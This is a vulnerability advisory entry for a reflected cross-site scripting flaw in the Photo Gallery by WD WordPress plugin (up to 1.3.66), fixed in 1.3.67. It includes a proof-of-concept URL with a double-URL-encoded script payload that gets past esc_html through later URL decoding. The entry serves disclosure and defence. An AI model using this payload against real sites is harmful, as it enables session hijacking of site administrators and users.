Photo Gallery by WD <= 1.3.66 – Cross-Site Scripting (XSS) | Plugin Vulnerabilities

Description

User input gets first escaped with esc_html() and then urldecoded. This leads to the possibility of reflected XSS with a double url encoded payload.

Proof of Concept

URL/wp-admin/admin-ajax.php?action=GalleryBox&gallery_id=0&image_id=1&watermark_link=%25%32%32%25%33%65%25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65&watermark_type=image

Affects Plugins

Fixed in 1.3.67

References

URL

https://plugins.trac.wordpress.org/changeset/1787251/photo-gallery

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

Miscellaneous

Submitter

Karim El Ouerghemmi

Submitter website

https://ripstech.com

Verified

No

WPVDB ID

a320f45c-e25b-48d4-8f86-febf7b789b3b

Timeline

Publicly Published

2018-02-22 (about 8 years ago)

Added

2018-02-25 (about 8 years ago)

Last Updated

2019-11-01 (about 6 years ago)

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